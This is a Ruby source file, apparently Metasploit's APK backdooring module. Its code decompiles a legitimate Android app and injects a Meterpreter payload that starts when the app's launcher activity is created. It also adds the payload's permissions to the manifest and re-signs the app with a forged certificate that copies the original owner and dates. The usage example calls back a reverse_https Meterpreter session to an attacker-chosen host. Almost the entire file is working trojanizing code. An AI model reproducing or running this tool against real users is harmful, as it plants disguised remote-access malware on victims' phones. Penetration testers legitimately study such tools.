252 lines
8.7 KiB
Ruby
252 lines
8.7 KiB
Ruby
# -*- coding: binary -*-
|
|
|
|
require 'msf/core'
|
|
require 'rex/text'
|
|
require 'tmpdir'
|
|
require 'nokogiri'
|
|
require 'fileutils'
|
|
require 'optparse'
|
|
require 'open3'
|
|
require 'date'
|
|
|
|
class Msf::Payload::Apk
|
|
|
|
def print_status(msg='')
|
|
$stderr.puts "[*] #{msg}"
|
|
end
|
|
|
|
def print_error(msg='')
|
|
$stderr.puts "[-] #{msg}"
|
|
end
|
|
|
|
alias_method :print_bad, :print_error
|
|
|
|
def usage
|
|
print_error "Usage: #{$0} -x [target.apk] [msfvenom options]\n"
|
|
print_error "e.g. #{$0} -x messenger.apk -p android/meterpreter/reverse_https LHOST=192.168.1.1 LPORT=8443\n"
|
|
end
|
|
|
|
def run_cmd(cmd)
|
|
begin
|
|
stdin, stdout, stderr = Open3.popen3(cmd)
|
|
return stdout.read + stderr.read
|
|
rescue Errno::ENOENT
|
|
return nil
|
|
end
|
|
end
|
|
|
|
# Find the activity that is opened when you click the app icon
|
|
def find_launcher_activity(amanifest)
|
|
package = amanifest.xpath("//manifest").first['package']
|
|
activities = amanifest.xpath("//activity|//activity-alias")
|
|
for activity in activities
|
|
activityname = activity.attribute("targetActivity")
|
|
unless activityname
|
|
activityname = activity.attribute("name")
|
|
end
|
|
category = activity.search('category')
|
|
unless category
|
|
next
|
|
end
|
|
for cat in category
|
|
categoryname = cat.attribute('name')
|
|
if (categoryname.to_s == 'android.intent.category.LAUNCHER' || categoryname.to_s == 'android.intent.action.MAIN')
|
|
name = activityname.to_s
|
|
if name.start_with?('.')
|
|
name = package + name
|
|
end
|
|
return name
|
|
end
|
|
end
|
|
end
|
|
end
|
|
|
|
def parse_manifest(manifest_file)
|
|
File.open(manifest_file, "rb"){|file|
|
|
data = File.read(file)
|
|
return Nokogiri::XML(data)
|
|
}
|
|
end
|
|
|
|
def fix_manifest(tempdir)
|
|
#Load payload's manifest
|
|
payload_manifest = parse_manifest("#{tempdir}/payload/AndroidManifest.xml")
|
|
payload_permissions = payload_manifest.xpath("//manifest/uses-permission")
|
|
|
|
#Load original apk's manifest
|
|
original_manifest = parse_manifest("#{tempdir}/original/AndroidManifest.xml")
|
|
original_permissions = original_manifest.xpath("//manifest/uses-permission")
|
|
|
|
old_permissions = []
|
|
original_permissions.each do |permission|
|
|
name = permission.attribute("name").to_s
|
|
old_permissions << name
|
|
end
|
|
|
|
application = original_manifest.xpath('//manifest/application')
|
|
payload_permissions.each do |permission|
|
|
name = permission.attribute("name").to_s
|
|
unless old_permissions.include?(name)
|
|
print_status("Adding #{name}")
|
|
if original_permissions.empty?
|
|
application.before(permission.to_xml)
|
|
original_permissions = original_manifest.xpath("//manifest/uses-permission")
|
|
else
|
|
original_permissions.before(permission.to_xml)
|
|
end
|
|
end
|
|
end
|
|
|
|
application = original_manifest.at_xpath('/manifest/application')
|
|
application << payload_manifest.at_xpath('/manifest/application/receiver').to_xml
|
|
application << payload_manifest.at_xpath('/manifest/application/service').to_xml
|
|
|
|
File.open("#{tempdir}/original/AndroidManifest.xml", "wb") { |file| file.puts original_manifest.to_xml }
|
|
end
|
|
|
|
def parse_orig_cert_data(orig_apkfile)
|
|
orig_cert_data = Array[]
|
|
keytool_output = run_cmd("keytool -J-Duser.language=en -printcert -jarfile #{orig_apkfile}")
|
|
owner_line = keytool_output.match(/^Owner:.+/)[0]
|
|
orig_cert_dname = owner_line.gsub(/^.*:/, '').strip
|
|
orig_cert_data.push("#{orig_cert_dname}")
|
|
valid_from_line = keytool_output.match(/^Valid from:.+/)[0]
|
|
from_date_str = valid_from_line.gsub(/^Valid from:/, '').gsub(/until:.+/, '').strip
|
|
to_date_str = valid_from_line.gsub(/^Valid from:.+until:/, '').strip
|
|
from_date = DateTime.parse("#{from_date_str}")
|
|
orig_cert_data.push(from_date.strftime("%Y/%m/%d %T"))
|
|
to_date = DateTime.parse("#{to_date_str}")
|
|
validity = (to_date - from_date).to_i
|
|
orig_cert_data.push("#{validity}")
|
|
return orig_cert_data
|
|
end
|
|
|
|
def backdoor_apk(apkfile, raw_payload)
|
|
unless apkfile && File.readable?(apkfile)
|
|
usage
|
|
raise RuntimeError, "Invalid template: #{apkfile}"
|
|
end
|
|
|
|
keytool = run_cmd("keytool")
|
|
unless keytool != nil
|
|
raise RuntimeError, "keytool not found. If it's not in your PATH, please add it."
|
|
end
|
|
|
|
jarsigner = run_cmd("jarsigner")
|
|
unless jarsigner != nil
|
|
raise RuntimeError, "jarsigner not found. If it's not in your PATH, please add it."
|
|
end
|
|
|
|
zipalign = run_cmd("zipalign")
|
|
unless zipalign != nil
|
|
raise RuntimeError, "zipalign not found. If it's not in your PATH, please add it."
|
|
end
|
|
|
|
apktool = run_cmd("apktool -version")
|
|
unless apktool != nil
|
|
raise RuntimeError, "apktool not found. If it's not in your PATH, please add it."
|
|
end
|
|
|
|
apk_v = Gem::Version.new(apktool)
|
|
unless apk_v >= Gem::Version.new('2.0.1')
|
|
raise RuntimeError, "apktool version #{apk_v} not supported, please download at least version 2.0.1."
|
|
end
|
|
|
|
#Create temporary directory where work will be done
|
|
tempdir = Dir.mktmpdir
|
|
|
|
keystore = "#{tempdir}/signing.keystore"
|
|
storepass = "android"
|
|
keypass = "android"
|
|
keyalias = "signing.key"
|
|
orig_cert_data = parse_orig_cert_data(apkfile)
|
|
orig_cert_dname = orig_cert_data[0]
|
|
orig_cert_startdate = orig_cert_data[1]
|
|
orig_cert_validity = orig_cert_data[2]
|
|
|
|
print_status "Creating signing key and keystore..\n"
|
|
run_cmd("keytool -genkey -v -keystore #{keystore} \
|
|
-alias #{keyalias} -storepass #{storepass} -keypass #{keypass} -keyalg RSA \
|
|
-keysize 2048 -startdate '#{orig_cert_startdate}' \
|
|
-validity #{orig_cert_validity} -dname '#{orig_cert_dname}'")
|
|
|
|
File.open("#{tempdir}/payload.apk", "wb") {|file| file.puts raw_payload }
|
|
FileUtils.cp apkfile, "#{tempdir}/original.apk"
|
|
|
|
print_status "Decompiling original APK..\n"
|
|
run_cmd("apktool d #{tempdir}/original.apk -o #{tempdir}/original")
|
|
print_status "Decompiling payload APK..\n"
|
|
run_cmd("apktool d #{tempdir}/payload.apk -o #{tempdir}/payload")
|
|
|
|
amanifest = parse_manifest("#{tempdir}/original/AndroidManifest.xml")
|
|
|
|
print_status "Locating hook point..\n"
|
|
launcheractivity = find_launcher_activity(amanifest)
|
|
unless launcheractivity
|
|
raise RuntimeError, "Unable to find hookable activity in #{apkfile}\n"
|
|
end
|
|
smalifile = "#{tempdir}/original/smali*/" + launcheractivity.gsub(/\./, "/") + ".smali"
|
|
smalifiles = Dir.glob(smalifile)
|
|
for smalifile in smalifiles
|
|
if File.readable?(smalifile)
|
|
activitysmali = File.read(smalifile)
|
|
end
|
|
end
|
|
|
|
unless activitysmali
|
|
raise RuntimeError, "Unable to find hook point in #{smalifiles}\n"
|
|
end
|
|
|
|
entrypoint = ';->onCreate(Landroid/os/Bundle;)V'
|
|
unless activitysmali.include? entrypoint
|
|
raise RuntimeError, "Unable to find onCreate() in #{smalifile}\n"
|
|
end
|
|
|
|
# Remove unused files
|
|
FileUtils.rm "#{tempdir}/payload/smali/com/metasploit/stage/MainActivity.smali"
|
|
FileUtils.rm Dir.glob("#{tempdir}/payload/smali/com/metasploit/stage/R*.smali")
|
|
|
|
package = amanifest.xpath("//manifest").first['package']
|
|
package_slash = package.gsub(/\./, "/")
|
|
print_status "Adding payload as package #{package}\n"
|
|
payload_files = Dir.glob("#{tempdir}/payload/smali/com/metasploit/stage/*.smali")
|
|
payload_dir = "#{tempdir}/original/smali/#{package_slash}/"
|
|
FileUtils.mkdir_p payload_dir
|
|
|
|
# Copy over the payload files, fixing up the smali code
|
|
payload_files.each do |file_name|
|
|
smali = File.read(file_name)
|
|
newsmali = smali.gsub(/com\/metasploit\/stage/, package_slash)
|
|
newfilename = "#{payload_dir}#{File.basename file_name}"
|
|
File.open(newfilename, "wb") {|file| file.puts newsmali }
|
|
end
|
|
|
|
payloadhook = entrypoint + %Q^
|
|
invoke-static {p0}, L#{package_slash}/MainService;->startService(Landroid/content/Context;)V
|
|
^
|
|
hookedsmali = activitysmali.gsub(entrypoint, payloadhook)
|
|
|
|
print_status "Loading #{smalifile} and injecting payload..\n"
|
|
File.open(smalifile, "wb") {|file| file.puts hookedsmali }
|
|
|
|
injected_apk = "#{tempdir}/output.apk"
|
|
aligned_apk = "#{tempdir}/aligned.apk"
|
|
print_status "Poisoning the manifest with meterpreter permissions..\n"
|
|
fix_manifest(tempdir)
|
|
|
|
print_status "Rebuilding #{apkfile} with meterpreter injection as #{injected_apk}\n"
|
|
run_cmd("apktool b -o #{injected_apk} #{tempdir}/original")
|
|
print_status "Signing #{injected_apk}\n"
|
|
run_cmd("jarsigner -sigalg SHA1withRSA -digestalg SHA1 -keystore #{keystore} -storepass #{storepass} -keypass #{keypass} #{injected_apk} #{keyalias}")
|
|
print_status "Aligning #{injected_apk}\n"
|
|
run_cmd("zipalign 4 #{injected_apk} #{aligned_apk}")
|
|
|
|
outputapk = File.read(aligned_apk)
|
|
|
|
FileUtils.remove_entry tempdir
|
|
outputapk
|
|
end
|
|
end
|
|
|
|
|